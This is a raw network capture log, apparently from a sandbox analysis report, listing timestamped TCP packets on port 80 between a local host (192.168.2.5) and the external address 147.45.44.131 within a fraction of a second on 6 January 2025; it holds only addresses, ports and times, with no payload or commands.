Jan 6, 2025 07:59:04.487360954 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487370014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487380981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487387896 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487391949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487396955 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487404108 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487415075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487426996 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487445116 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.488029003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488040924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488051891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488061905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488074064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488085985 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.488089085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488101959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.488112926 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.488131046 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.526442051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526454926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526478052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526484013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526488066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526490927 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.526494980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526504993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526540995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.526592016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.526592016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576102018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576143026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576153994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576184988 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576206923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576216936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576226950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576241016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576251984 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576282978 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576284885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576291084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576292992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576297998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576302052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576307058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576343060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576370955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576381922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576392889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576405048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576410055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576432943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576433897 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576443911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576458931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576466084 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576469898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576481104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576492071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576508999 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576569080 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576577902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576587915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576605082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576606035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576610088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576612949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576621056 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576653957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576720953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576730967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576741934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576751947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576762915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576765060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576772928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576783895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576792955 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576795101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576811075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576822042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576848030 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576862097 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576884985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576894999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576905012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576915979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576926947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576939106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576939106 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576951027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.576961040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576982975 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.576994896 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577018976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577029943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577044010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577054977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577071905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577075958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577085018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577092886 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577095032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577105999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577110052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577116013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577126980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577145100 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577147961 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577157021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577167034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577172995 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577178955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577188969 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577192068 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577200890 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577212095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577215910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577224970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577234030 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577256918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577277899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577287912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577296972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577307940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577318907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577322006 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577330112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577334881 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577341080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577352047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577366114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577372074 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577383041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577393055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577394962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577404976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577414989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577415943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577426910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577440977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577475071 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577502966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577513933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577518940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577528000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577539921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577553034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577560902 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577588081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577658892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577675104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577686071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577697992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577707052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577718973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577719927 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577729940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577744961 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577753067 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577756882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577765942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577769995 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577779055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577792883 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577796936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577801943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577809095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577817917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577828884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577838898 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577841043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577852964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577863932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577874899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577877045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.577884912 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.577903986 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.578560114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578571081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578581095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578592062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578602076 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578603983 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.578613997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578625917 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.578630924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.578644991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.578669071 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.616902113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616926908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616931915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616941929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616946936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616959095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616972923 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.616976976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.616988897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.617002010 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.617038012 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.666727066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666748047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666769028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666779041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666789055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666800022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666817904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666827917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666837931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666847944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666861057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666871071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666887999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666899920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666908979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666918039 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.666920900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666930914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666954041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666966915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666975021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.666976929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666987896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.666994095 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.666997910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667018890 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667021990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667030096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667041063 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667047024 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667051077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667062998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667068005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667077065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667093039 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667110920 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667144060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667155027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667164087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667176962 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667182922 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667188883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667200089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667212009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667215109 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667241096 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667279959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667290926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667300940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667321920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667337894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667344093 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667347908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667359114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667370081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667392969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667417049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667428017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667438984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667452097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667464972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667470932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667480946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667491913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667500019 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667504072 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667510986 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667515993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667527914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667536974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667572021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667629004 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667639971 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667650938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667663097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667668104 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667673111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667687893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667699099 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667706966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667720079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667730093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667733908 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667741060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667747021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667747021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667752028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667758942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667769909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667793036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667794943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667802095 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667804003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667814016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667825937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667849064 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667869091 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.667967081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667979002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667989016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.667999983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668011904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668015003 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668023109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668035030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668039083 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668045044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668056965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668066025 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668067932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668092012 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668112993 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668118954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668131113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668147087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668158054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668169022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668179989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668183088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668190002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668200016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668210983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668211937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668220997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668236017 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668261051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668272018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668282032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668292999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668303967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668309927 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668315887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668327093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668337107 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668338060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668348074 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668349981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668361902 CET	49706	80	192.168.2.5	147.45.44.131
